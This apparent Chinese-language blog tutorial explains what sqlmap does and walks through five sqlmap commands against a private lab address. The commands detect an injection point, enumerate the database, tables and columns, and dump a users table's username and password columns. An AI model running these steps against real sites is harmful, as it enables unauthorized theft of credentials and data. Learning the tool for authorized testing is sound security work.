原理篇—sql注入7:sqlmap简单操作

一、sqlmap是什么,具有什么特点?

  sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

  完全支持MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多种数据库管理系统。

  完全支持布尔型盲注、时间盲注、基于错误信息的注入、联合查询注入和堆查询注入。

  在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。

  支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列

  支持自动识别密码哈希格式并通过字典破解密码哈希

  支持完全下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载一列中的部分数据,这完全取决于用户的选择。

  支持在数据库管理系统中搜集指定的数据库名、表名或列名

  当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时支持下载或上传文件

  当数据库管理系统是MySQL、PostgreSQL或Microsofe SQLServer时执行任意命令并回显标准输出

二、简单了解sql注入

  1. SQL注入是什么

    通过SQL命令插入到Web表单提交或输入域名或页面请求的查询字符,最终达到欺骗服务器执行恶意的SQL命令。其主要原因时程序没有细致地过滤用户输入的数据,导致非法数据侵入系统。

  2.使用sqlmap进行简单注入操作

   测地址试:http://192.168.1.5/727/index.php?id=1 

       具体步骤:

    查看是否存在sql注入

    sqlmap.py -u http://192.168.1.5/727/index.php?id=1

    

    列出当前使用的库

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 --current-db

   

     现在我们拿到了所使用的库为jokedb,然后由此拿到库中的表名

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb --tables

     

    拿到表名后,就可以对他的字段进行测试

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users --columns

    

     最后一步查看表中的数据

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users -C user,pass --dump

    

原文地址:https://www.cnblogs.com/guoqingsentou/p/13537890.html